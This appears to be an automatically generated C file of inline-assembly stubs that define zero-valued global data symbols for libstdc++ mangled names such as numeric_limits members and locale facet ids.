__asm__(".globl _ZNSt14numeric_limitsIwE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIwE11round_styleE,@object; .size _ZNSt14numeric_limitsIwE11round_styleE, 4; _ZNSt14numeric_limitsIwE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIwE12has_infinityE,@object; .size _ZNSt14numeric_limitsIwE12has_infinityE, 1; _ZNSt14numeric_limitsIwE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIwE12max_exponentE,@object; .size _ZNSt14numeric_limitsIwE12max_exponentE, 4; _ZNSt14numeric_limitsIwE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIwE12min_exponentE,@object; .size _ZNSt14numeric_limitsIwE12min_exponentE, 4; _ZNSt14numeric_limitsIwE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIwE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIwE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIwE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIwE14is_specializedE,@object; .size _ZNSt14numeric_limitsIwE14is_specializedE, 1; _ZNSt14numeric_limitsIwE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIwE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIwE14max_exponent10E, 4; _ZNSt14numeric_limitsIwE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIwE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIwE14min_exponent10E, 4; _ZNSt14numeric_limitsIwE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIwE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIwE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIwE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIwE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIwE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIwE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIwE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIwE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIwE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIwE5radixE,@object; .size _ZNSt14numeric_limitsIwE5radixE, 4; _ZNSt14numeric_limitsIwE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIwE5trapsE,@object; .size _ZNSt14numeric_limitsIwE5trapsE, 1; _ZNSt14numeric_limitsIwE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIwE6digitsE,@object; .size _ZNSt14numeric_limitsIwE6digitsE, 4; _ZNSt14numeric_limitsIwE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIwE8digits10E,@object; .size _ZNSt14numeric_limitsIwE8digits10E, 4; _ZNSt14numeric_limitsIwE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIwE8is_exactE,@object; .size _ZNSt14numeric_limitsIwE8is_exactE, 1; _ZNSt14numeric_limitsIwE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIwE9is_iec559E,@object; .size _ZNSt14numeric_limitsIwE9is_iec559E, 1; _ZNSt14numeric_limitsIwE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIwE9is_moduloE,@object; .size _ZNSt14numeric_limitsIwE9is_moduloE, 1; _ZNSt14numeric_limitsIwE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIwE9is_signedE,@object; .size _ZNSt14numeric_limitsIwE9is_signedE, 1; _ZNSt14numeric_limitsIwE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIxE10has_denormE,@object; .size _ZNSt14numeric_limitsIxE10has_denormE, 4; _ZNSt14numeric_limitsIxE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIxE10is_boundedE,@object; .size _ZNSt14numeric_limitsIxE10is_boundedE, 1; _ZNSt14numeric_limitsIxE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIxE10is_integerE,@object; .size _ZNSt14numeric_limitsIxE10is_integerE, 1; _ZNSt14numeric_limitsIxE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIxE11round_styleE,@object; .size _ZNSt14numeric_limitsIxE11round_styleE, 4; _ZNSt14numeric_limitsIxE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIxE12has_infinityE,@object; .size _ZNSt14numeric_limitsIxE12has_infinityE, 1; _ZNSt14numeric_limitsIxE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIxE12max_exponentE,@object; .size _ZNSt14numeric_limitsIxE12max_exponentE, 4; _ZNSt14numeric_limitsIxE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIxE12min_exponentE,@object; .size _ZNSt14numeric_limitsIxE12min_exponentE, 4; _ZNSt14numeric_limitsIxE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIxE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIxE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIxE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIxE14is_specializedE,@object; .size _ZNSt14numeric_limitsIxE14is_specializedE, 1; _ZNSt14numeric_limitsIxE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIxE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIxE14max_exponent10E, 4; _ZNSt14numeric_limitsIxE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIxE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIxE14min_exponent10E, 4; _ZNSt14numeric_limitsIxE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIxE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIxE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIxE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIxE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIxE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIxE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIxE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIxE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIxE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIxE5radixE,@object; .size _ZNSt14numeric_limitsIxE5radixE, 4; _ZNSt14numeric_limitsIxE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIxE5trapsE,@object; .size _ZNSt14numeric_limitsIxE5trapsE, 1; _ZNSt14numeric_limitsIxE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIxE6digitsE,@object; .size _ZNSt14numeric_limitsIxE6digitsE, 4; _ZNSt14numeric_limitsIxE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIxE8digits10E,@object; .size _ZNSt14numeric_limitsIxE8digits10E, 4; _ZNSt14numeric_limitsIxE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIxE8is_exactE,@object; .size _ZNSt14numeric_limitsIxE8is_exactE, 1; _ZNSt14numeric_limitsIxE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIxE9is_iec559E,@object; .size _ZNSt14numeric_limitsIxE9is_iec559E, 1; _ZNSt14numeric_limitsIxE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIxE9is_moduloE,@object; .size _ZNSt14numeric_limitsIxE9is_moduloE, 1; _ZNSt14numeric_limitsIxE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIxE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIxE9is_signedE,@object; .size _ZNSt14numeric_limitsIxE9is_signedE, 1; _ZNSt14numeric_limitsIxE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIyE10has_denormE,@object; .size _ZNSt14numeric_limitsIyE10has_denormE, 4; _ZNSt14numeric_limitsIyE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIyE10is_boundedE,@object; .size _ZNSt14numeric_limitsIyE10is_boundedE, 1; _ZNSt14numeric_limitsIyE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIyE10is_integerE,@object; .size _ZNSt14numeric_limitsIyE10is_integerE, 1; _ZNSt14numeric_limitsIyE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIyE11round_styleE,@object; .size _ZNSt14numeric_limitsIyE11round_styleE, 4; _ZNSt14numeric_limitsIyE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIyE12has_infinityE,@object; .size _ZNSt14numeric_limitsIyE12has_infinityE, 1; _ZNSt14numeric_limitsIyE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIyE12max_exponentE,@object; .size _ZNSt14numeric_limitsIyE12max_exponentE, 4; _ZNSt14numeric_limitsIyE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIyE12min_exponentE,@object; .size _ZNSt14numeric_limitsIyE12min_exponentE, 4; _ZNSt14numeric_limitsIyE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIyE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIyE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIyE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIyE14is_specializedE,@object; .size _ZNSt14numeric_limitsIyE14is_specializedE, 1; _ZNSt14numeric_limitsIyE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIyE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIyE14max_exponent10E, 4; _ZNSt14numeric_limitsIyE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIyE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIyE14min_exponent10E, 4; _ZNSt14numeric_limitsIyE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIyE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIyE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIyE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIyE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIyE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIyE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIyE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIyE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIyE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIyE5radixE,@object; .size _ZNSt14numeric_limitsIyE5radixE, 4; _ZNSt14numeric_limitsIyE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIyE5trapsE,@object; .size _ZNSt14numeric_limitsIyE5trapsE, 1; _ZNSt14numeric_limitsIyE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIyE6digitsE,@object; .size _ZNSt14numeric_limitsIyE6digitsE, 4; _ZNSt14numeric_limitsIyE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIyE8digits10E,@object; .size _ZNSt14numeric_limitsIyE8digits10E, 4; _ZNSt14numeric_limitsIyE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIyE8is_exactE,@object; .size _ZNSt14numeric_limitsIyE8is_exactE, 1; _ZNSt14numeric_limitsIyE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIyE9is_iec559E,@object; .size _ZNSt14numeric_limitsIyE9is_iec559E, 1; _ZNSt14numeric_limitsIyE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIyE9is_moduloE,@object; .size _ZNSt14numeric_limitsIyE9is_moduloE, 1; _ZNSt14numeric_limitsIyE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIyE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIyE9is_signedE,@object; .size _ZNSt14numeric_limitsIyE9is_signedE, 1; _ZNSt14numeric_limitsIyE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE, 4; _ZNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE, 4; _ZNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE, 4; _ZNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE, 4; _ZNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE, 4; _ZNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE, 4; _ZNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE, 4; _ZNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE, 4; _ZNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt17__timepunct_cacheIcE12_S_timezonesE; .pushsection .data; .type _ZNSt17__timepunct_cacheIcE12_S_timezonesE,@object; .size _ZNSt17__timepunct_cacheIcE12_S_timezonesE, 56; _ZNSt17__timepunct_cacheIcE12_S_timezonesE: .long 0; .popsection");
__asm__(".globl _ZNSt17__timepunct_cacheIwE12_S_timezonesE; .pushsection .data; .type _ZNSt17__timepunct_cacheIwE12_S_timezonesE,@object; .size _ZNSt17__timepunct_cacheIwE12_S_timezonesE, 56; _ZNSt17__timepunct_cacheIwE12_S_timezonesE: .long 0; .popsection");
__asm__(".globl _ZNSt17moneypunct_bynameIcLb0EE4intlE; .pushsection .data; .type _ZNSt17moneypunct_bynameIcLb0EE4intlE,@object; .size _ZNSt17moneypunct_bynameIcLb0EE4intlE, 1; _ZNSt17moneypunct_bynameIcLb0EE4intlE: .long 0; .popsection");
__asm__(".globl _ZNSt17moneypunct_bynameIcLb1EE4intlE; .pushsection .data; .type _ZNSt17moneypunct_bynameIcLb1EE4intlE,@object; .size _ZNSt17moneypunct_bynameIcLb1EE4intlE, 1; _ZNSt17moneypunct_bynameIcLb1EE4intlE: .long 0; .popsection");
__asm__(".globl _ZNSt17moneypunct_bynameIwLb0EE4intlE; .pushsection .data; .type _ZNSt17moneypunct_bynameIwLb0EE4intlE,@object; .size _ZNSt17moneypunct_bynameIwLb0EE4intlE, 1; _ZNSt17moneypunct_bynameIwLb0EE4intlE: .long 0; .popsection");
__asm__(".globl _ZNSt17moneypunct_bynameIwLb1EE4intlE; .pushsection .data; .type _ZNSt17moneypunct_bynameIwLb1EE4intlE,@object; .size _ZNSt17moneypunct_bynameIwLb1EE4intlE, 1; _ZNSt17moneypunct_bynameIwLb1EE4intlE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base10has_denormE; .pushsection .data; .type _ZNSt21__numeric_limits_base10has_denormE,@object; .size _ZNSt21__numeric_limits_base10has_denormE, 4; _ZNSt21__numeric_limits_base10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base10is_boundedE; .pushsection .data; .type _ZNSt21__numeric_limits_base10is_boundedE,@object; .size _ZNSt21__numeric_limits_base10is_boundedE, 1; _ZNSt21__numeric_limits_base10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base10is_integerE; .pushsection .data; .type _ZNSt21__numeric_limits_base10is_integerE,@object; .size _ZNSt21__numeric_limits_base10is_integerE, 1; _ZNSt21__numeric_limits_base10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base11round_styleE; .pushsection .data; .type _ZNSt21__numeric_limits_base11round_styleE,@object; .size _ZNSt21__numeric_limits_base11round_styleE, 4; _ZNSt21__numeric_limits_base11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base12has_infinityE; .pushsection .data; .type _ZNSt21__numeric_limits_base12has_infinityE,@object; .size _ZNSt21__numeric_limits_base12has_infinityE, 1; _ZNSt21__numeric_limits_base12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base12max_exponentE; .pushsection .data; .type _ZNSt21__numeric_limits_base12max_exponentE,@object; .size _ZNSt21__numeric_limits_base12max_exponentE, 4; _ZNSt21__numeric_limits_base12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base12min_exponentE; .pushsection .data; .type _ZNSt21__numeric_limits_base12min_exponentE,@object; .size _ZNSt21__numeric_limits_base12min_exponentE, 4; _ZNSt21__numeric_limits_base12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base13has_quiet_NaNE; .pushsection .data; .type _ZNSt21__numeric_limits_base13has_quiet_NaNE,@object; .size _ZNSt21__numeric_limits_base13has_quiet_NaNE, 1; _ZNSt21__numeric_limits_base13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base14is_specializedE; .pushsection .data; .type _ZNSt21__numeric_limits_base14is_specializedE,@object; .size _ZNSt21__numeric_limits_base14is_specializedE, 1; _ZNSt21__numeric_limits_base14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base14max_exponent10E; .pushsection .data; .type _ZNSt21__numeric_limits_base14max_exponent10E,@object; .size _ZNSt21__numeric_limits_base14max_exponent10E, 4; _ZNSt21__numeric_limits_base14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base14min_exponent10E; .pushsection .data; .type _ZNSt21__numeric_limits_base14min_exponent10E,@object; .size _ZNSt21__numeric_limits_base14min_exponent10E, 4; _ZNSt21__numeric_limits_base14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base15has_denorm_lossE; .pushsection .data; .type _ZNSt21__numeric_limits_base15has_denorm_lossE,@object; .size _ZNSt21__numeric_limits_base15has_denorm_lossE, 1; _ZNSt21__numeric_limits_base15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base15tinyness_beforeE; .pushsection .data; .type _ZNSt21__numeric_limits_base15tinyness_beforeE,@object; .size _ZNSt21__numeric_limits_base15tinyness_beforeE, 1; _ZNSt21__numeric_limits_base15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base17has_signaling_NaNE; .pushsection .data; .type _ZNSt21__numeric_limits_base17has_signaling_NaNE,@object; .size _ZNSt21__numeric_limits_base17has_signaling_NaNE, 1; _ZNSt21__numeric_limits_base17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base5radixE; .pushsection .data; .type _ZNSt21__numeric_limits_base5radixE,@object; .size _ZNSt21__numeric_limits_base5radixE, 4; _ZNSt21__numeric_limits_base5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base5trapsE; .pushsection .data; .type _ZNSt21__numeric_limits_base5trapsE,@object; .size _ZNSt21__numeric_limits_base5trapsE, 1; _ZNSt21__numeric_limits_base5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base6digitsE; .pushsection .data; .type _ZNSt21__numeric_limits_base6digitsE,@object; .size _ZNSt21__numeric_limits_base6digitsE, 4; _ZNSt21__numeric_limits_base6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base8digits10E; .pushsection .data; .type _ZNSt21__numeric_limits_base8digits10E,@object; .size _ZNSt21__numeric_limits_base8digits10E, 4; _ZNSt21__numeric_limits_base8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base8is_exactE; .pushsection .data; .type _ZNSt21__numeric_limits_base8is_exactE,@object; .size _ZNSt21__numeric_limits_base8is_exactE, 1; _ZNSt21__numeric_limits_base8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base9is_iec559E; .pushsection .data; .type _ZNSt21__numeric_limits_base9is_iec559E,@object; .size _ZNSt21__numeric_limits_base9is_iec559E, 1; _ZNSt21__numeric_limits_base9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base9is_moduloE; .pushsection .data; .type _ZNSt21__numeric_limits_base9is_moduloE,@object; .size _ZNSt21__numeric_limits_base9is_moduloE, 1; _ZNSt21__numeric_limits_base9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt21__numeric_limits_base9is_signedE; .pushsection .data; .type _ZNSt21__numeric_limits_base9is_signedE,@object; .size _ZNSt21__numeric_limits_base9is_signedE, 1; _ZNSt21__numeric_limits_base9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt5ctypeIcE10table_sizeE; .pushsection .data; .type _ZNSt5ctypeIcE10table_sizeE,@object; .size _ZNSt5ctypeIcE10table_sizeE, 4; _ZNSt5ctypeIcE10table_sizeE: .long 0; .popsection");
__asm__(".globl _ZNSt5ctypeIcE2idE; .pushsection .data; .type _ZNSt5ctypeIcE2idE,@object; .size _ZNSt5ctypeIcE2idE, 4; _ZNSt5ctypeIcE2idE: .long 0; .popsection");
